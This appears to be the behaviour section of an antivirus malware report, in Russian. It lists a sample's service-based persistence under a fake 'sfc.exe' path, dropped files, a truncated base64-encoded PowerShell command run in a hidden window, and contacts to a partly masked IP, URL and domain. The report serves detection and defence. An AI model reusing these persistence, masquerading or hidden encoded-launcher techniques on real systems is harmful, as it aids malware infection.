Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\sfc] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\sfc] 'ImagePath' = '"%WINDIR%\SysWOW64\sppc\sfc.exe"'
- 'sfc' "%WINDIR%\SysWOW64\sppc\sfc.exe"
- 'sfc' %WINDIR%\SysWOW64\sppc\sfc.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB3AG8AYQByAGMAYQBlAHkAZgB1AHUAbgA9ACcAZgBvAGUAYwBxAHUAaQBzACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAVQBSAEkAdABgAFkAUABgAFIAbwB0AE8AQwBgAG...
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357
- %HOMEPATH%\262.exe
- %WINDIR%\syswow64\sppc\sfc.exe
- %HOMEPATH%\262.exe в %WINDIR%\syswow64\sppc\sfc.exe
- '94.##.254.194':80
- http://94.##.254.194/2m5bsj/sEY3/4aG3CmkV/
- DNS ASK ph#####ninjarank.com
- '%HOMEPATH%\262.exe'
- '%WINDIR%\syswow64\sppc\sfc.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB3AG8AYQByAGMAYQBlAHkAZgB1AHUAbgA9ACcAZgBvAGUAYwBxAHUAaQBzACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAVQBSAEkAdABgAFkAUABgAFIAbwB0AE8AQwBgAG...' (со скрытым окном)